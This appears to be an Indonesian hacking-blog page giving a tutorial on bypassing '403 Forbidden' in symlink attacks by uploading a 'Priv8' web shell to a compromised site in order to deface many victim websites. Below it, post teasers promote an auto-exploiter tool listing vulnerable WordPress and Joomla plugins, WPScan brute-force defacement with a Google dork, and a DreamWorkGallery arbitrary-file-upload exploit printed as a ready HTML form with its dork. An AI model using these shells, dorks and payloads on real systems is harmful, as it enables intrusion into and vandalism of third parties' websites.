Skip to main content

Bypass Symlink 403 Forbidden

squadcyber - Pernahkah kalian saat mencari korban untuk di deface dengan memanfaatkan symlink atau config?, pasti nya kalian pernah melakukannya, dengan symlink atau config kita bisa lebih banyak mendapatkan korban deface dengan hanya sekali exploit saja, tidak usah benyak-banyak.

Namun apakah kalian pernah pada saat symlink atau config web malah yang kalian dapati 403 Forbidden?? nah kali ini admin akan memberikan tutorial bagaimana cara nya bypass symlink 403 Forbidden.

Cara Bypass Symlink 403 Forbidden

Yang pertama tentu nya kalian punya shell yang bisa muncul symlink nya, lalu kalian download Priv8 Shell bypass forbddien 403 shell 2018 di bawah ini.


Setelah kalian download Priv8 Shell bypass forbddien 403 shell 2018 nya, upload ke website kalian yang akan di bypass symlink nya, dan buka file tersebut, makaakan muncul seperti ini.
Setelah shell nya terbuka, langsung saja kalian hajar dengan klik ./Start 403 maka proses bypass akan berjalan, jika proses sudah selesai, klik Open untuk membuka hasil symlink tadi.
cara symlink cara symlink 404 cara symlink manual cara symlink server cara symlink 403 cara symlink forbidden cara symlink 2018 apa itu symlink apa itu config cara symlink internal server error cara symlink 403 forbidden cara bypass symlink cara symlink deface cara bypass symlink 404 cara bypass symlink 403 forbidden cara bypass symlink 500 cara bypass symlink forbidden cara mematikan fitur symlink di cpanel cara deface website dengan symlink cara deface wordpress dengan symlink cara mengatasi symlink failed cara mengatasi some symlink failed cara menggunakan symlink cara membuat symlink cara bypass symlink 404 not found cara symlink di shell cara deface teknik symlink

Comments

Popular posts from this blog

XAttacker Website Vulnerability Scanner & Auto Exploiter 

squadcyber.org - XAttacker adalah Website Vulnerability Scanner & Auto Exploiteryang di tulis dalam bahasa pemrograman Perl untuk menganalisis sebuah celah web dan meng eksploitasi nya secara otomatis. Tool ini fungsi nya hampir sama seperti yang gw posting sebelum nya yaitu Mr. Spy Bot Auto Deface   . Fitur   Auto Cms Detect [1] WordPress : [+] Adblock Blocker [+] WP All Import [+] Blaze [+] Catpro [+] Cherry Plugin [+] Download Manager [+] Formcraft [+] Power Zoomer [+] Gravity Forms [+] Revslider Upload Shell [+] Revslider Dafece Ajax [+] Revslider Get Config [+] Showbiz [+] Simple Ads Manager [+] Slide Show Pro [+] WP Mobile Detector [+] Wysija [+] InBoundio Marketing [+] dzs-zoomsounds [+] Reflex Gallery [+] Creative Contact Form [+] Work The Flow File Upload [+] WP Job Manger [+] PHP Event Calendar [+] Synoptic [+] Wp Shop [+] Content Injection [2] Joomla [+] Com Jce [+] Com Media [+] Com Jdownloads ...

Deface Wordpress Bruteforce dengan WPScan

squadcyber.org  - Kali ini gw bagiin tutorial Deface Wordpress Bruteforce dengan WPScan, kenapa WPScan ? kenapa nggak pake tools yang lainnya?. Karena menurut gw tool yang paling manjur untuk Penetration Testing sebuah web yang menggunakan CMS Wordpress adalah WPScan, dan WPScan sering melakukan update pada database nya sehingga bisa memberikan refrensi untuk bug yang di dapat pada waktu scan bug di web tersebut dan bisa meng eksploitasi Web yang menggunakan CMS Wordpress terbaru. Bahan - Bahan  - WPScan ( Untuk Windows bisa kalian lihat di sini , dan untuk android bisa kalian lihat Di sini  )  - Wordlist ( Download Di sini  atau kalian bisa buat sendiri) Dork    - inurl:/wp-login.php (kembangin lagi) Cara Deface Wordpress Bruteforce kali ini gw pake Termux ( android ) karena minim nya fasilitas yang ada :v. Pertama kalian busa folder wpscan nya dengan mengetik $ cd wpscan Setelah masuk di folder wpscan nya , kita scan dulu ...

Deface Dengan Metode Wordpress Plugin DreamWorkGallery

www.squadcyber.org - Yo guys, balik lagi ma ane :v kali ini wa mau kasih tutor pepes pakek metode  Wordpress Plugin DreamWorkGallery. Langsung yok :v Bahan" : Dork : inurl:/wp-content/plugins/wp-dreamworkgallery/ (kembangin ea) CSRF : <form action="http://www.site.co.li/wp-admin/admin.php?page=dreamwork_manage" method="POST" enctype="multipart/form-data"> <input type="hidden" name="task" value="drm_add_new_album" /> <input type="hidden" name="album_name" value="Arbitrary File Upload" /> <input type="hidden" name="album_desc" value="Arbitrary File Upload" /> <input type="file" name="album_img" value=""/> <input type="submit" value="SIKAT!" /></form>  Langsung :v 1. Dorking pakek dork diatas   2. Kalo gini vuln :v Copy url web nya doang. Lalu masukin di CSR...